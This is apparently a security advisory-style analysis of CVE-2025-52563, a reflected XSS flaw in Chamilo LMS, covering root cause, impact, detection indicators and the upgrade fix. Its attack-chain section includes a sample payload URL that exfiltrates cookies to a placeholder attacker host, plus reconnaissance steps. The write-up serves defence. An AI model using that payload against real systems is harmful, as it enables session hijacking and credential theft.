CVE-2025-52563: 
Chamilo vulnerability analysis and mitigation

CVE-2025-52563 is a reflected cross-site scripting (XSS) vulnerability in Chamilo LMS affecting versions up to and including 1.11.28. The flaw stems from insufficient sanitization of the page parameter in the session/add_users_to_session.php endpoint, allowing attackers to inject malicious scripts that execute in a victim's browser. It was published on March 2, 2026, and patched in version 1.11.30. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of user-supplied input in the page parameter of session/add_users_to_session.php, classified under CWE-79 (Cross-site Scripting), CWE-80 (Improper Neutralization of Script-Related HTML Tags), and CWE-87 (Improper Neutralization of Alternate XSS Syntax). The vulnerability is network-accessible, requires no authentication or elevated privileges, but does require user interaction — specifically, the victim must move their mouse over a crafted element or click a malicious link containing the injected payload. The attack vector is reflected, meaning the malicious script is embedded in a URL and reflected back to the user's browser without being stored server-side (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session, potentially stealing session tokens, credentials, or other sensitive information. Administrators and instructors are the most likely targets, as they have access to the session management endpoint; compromising their accounts could allow unauthorized manipulation of course sessions, user enrollments, or LMS configuration. The vulnerability has limited availability impact but poses confidentiality and integrity risks within the scope of the affected user's browser session (GitHub Advisory, Red Hat CVE).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. No threat actor attribution has been made, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was reported by researcher "4rdr" (GitHub Advisory, Red Hat CVE).

1. Reconnaissance: Identify Chamilo LMS instances running version 1.11.28 or earlier using web search, Shodan, or Censys, focusing on the presence of the /main/session/add_users_to_session.php endpoint.
2. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with an XSS payload injected into the page parameter, e.g., https://target.example.com/main/session/add_users_to_session.php?page=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the payload: Send the crafted URL to a privileged user (administrator or instructor) via phishing email, chat message, or other social engineering channel.
4. Trigger execution: When the victim visits the URL and interacts with the page (e.g., mouse movement over the injected element), the script executes in their browser context.
5. Harvest credentials/tokens: The injected script exfiltrates session cookies or credentials to an attacker-controlled server, enabling session hijacking or account takeover (GitHub Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after accessing the session/add_users_to_session.php endpoint; unusual GET/POST requests to attacker-controlled URLs containing encoded cookie or session data.
• Logs: Web server access logs showing requests to /main/session/add_users_to_session.php with URL-encoded script tags or JavaScript payloads in the page parameter (e.g., %3Cscript%3E, javascript:, onerror=, onmouseover=).
• Logs: Application logs showing unexpected session activity or privilege escalation following access to the vulnerable endpoint by an administrator or instructor account.
• Network: Referrer headers in outbound requests pointing to the Chamilo LMS instance, indicating script execution originating from the vulnerable page.

The primary remediation is to upgrade Chamilo LMS to version 1.11.30 or later, which includes the security patch for this vulnerability (GitHub Release). If immediate patching is not feasible, organizations should deploy a Web Application Firewall (WAF) configured to detect and block XSS payloads in the page parameter, and restrict access to the add_users_to_session.php endpoint to trusted IP ranges or authenticated sessions only. Additionally, administrators and instructors should be educated to avoid clicking unsolicited or suspicious links referencing the LMS (GitHub Advisory).